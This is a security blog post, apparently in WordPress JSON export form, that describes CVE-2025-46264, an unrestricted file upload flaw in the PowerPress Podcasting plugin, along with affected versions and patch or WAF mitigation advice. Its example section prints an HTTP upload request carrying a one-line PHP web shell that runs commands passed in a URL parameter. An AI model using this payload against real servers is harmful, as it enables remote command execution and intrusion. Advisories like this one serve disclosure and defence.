{"id":33986,"date":"2025-04-30T19:11:58","date_gmt":"2025-04-30T19:11:58","guid":{"rendered":""},"modified":"2025-06-16T11:24:20","modified_gmt":"2025-06-16T17:24:20","slug":"cve-2025-46264-critical-unrestricted-file-upload-vulnerability-in-powerpress-podcasting","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-46264-critical-unrestricted-file-upload-vulnerability-in-powerpress-podcasting\/","title":{"rendered":"<strong>CVE-2025-46264: Critical Unrestricted File Upload Vulnerability in PowerPress Podcasting<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-46264 is a severe security vulnerability that affects the PowerPress Podcasting software. The flaw enables unrestricted upload of files with dangerous types, which can lead to a significant compromise of a system&#8217;s security. PowerPress Podcasting is a popular podcasting platform and is widely used for creating, managing, and publishing podcasts. As such, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21453-critical-memory-corruption-vulnerability-impacting-multiple-systems\/\"  data-wpil-monitor-id=\"58955\">vulnerability could have broad and significant impacts<\/a>. It is critical for organizations and individuals using <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31352-critical-sql-injection-vulnerability-in-telecontrol-server-basic\/\"  data-wpil-monitor-id=\"38533\">PowerPress<\/a> Podcasting to understand this vulnerability, its potential impacts, and how to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-46264<br \/>\nSeverity: Critical (CVSS score: 9.9)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential <a href=\"https:\/\/www.ameeba.com\/blog\/yale-new-haven-health-system-data-breach-a-comprehensive-analysis-of-a-cybersecurity-breach-impacting-5-5-million-patients\/\"  data-wpil-monitor-id=\"38975\">system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1516414809\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>PowerPress Podcasting | n\/a to 11.12.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>CVE-2025-46264 is an unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-43958-arbitrary-file-upload-vulnerability-in-hospital-management-system-v4-0\/\"  data-wpil-monitor-id=\"39667\">file upload vulnerability<\/a>. It lies in the PowerPress Podcasting software&#8217;s failure to properly validate and restrict the types of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3616-arbitrary-file-upload-vulnerability-in-greenshift-wordpress-plugin\/\"  data-wpil-monitor-id=\"39900\">files that can be uploaded<\/a>. This allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31478-zulip-server-vulnerability-allowing-unauthorized-account-creation\/\"  data-wpil-monitor-id=\"40309\">upload a malicious web shell file<\/a> onto the web server. Once uploaded, the attacker can execute the web shell, which can lead to unauthorized access, data leakage, or even full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3914-potential-arbitrary-file-uploads-and-system-compromise-in-aeropage-sync-for-airtable-wordpress-plugin\/\"  data-wpil-monitor-id=\"40570\">system compromise<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1705462532\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29972-server-side-request-forgery-vulnerability-in-azure-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"44773\">potential exploit might involve sending an HTTP POST request<\/a> with a malicious file attached. Here&#8217;s a conceptual example:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload HTTP\/1.1\nHost: vulnerable-podcasting-server.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is uploading a PHP web shell that can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28039-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t\/\"  data-wpil-monitor-id=\"39521\">execute system commands<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The recommended mitigation strategy for CVE-2025-46264 is to apply the vendor-provided patch. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. However, these are not permanent <a href=\"https:\/\/www.ameeba.com\/blog\/u-s-government-ends-funding-for-mitre-s-cve-potential-fallout-and-solutions-for-the-cybersecurity-community\/\"  data-wpil-monitor-id=\"38974\">solutions and can only limit the potential<\/a> for exploitation, not prevent it entirely. Regular system updates and patches are the most effective way to ensure <a href=\"https:\/\/www.ameeba.com\/blog\/boosting-digital-security-leveraging-the-european-vulnerability-database-enisa\/\"  data-wpil-monitor-id=\"44941\">security against such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-46264 is a severe security vulnerability that affects the PowerPress Podcasting software. The flaw enables unrestricted upload of files with dangerous types, which can lead to a significant compromise of a system&#8217;s security. PowerPress Podcasting is a popular podcasting platform and is widely used for creating, managing, and publishing podcasts. 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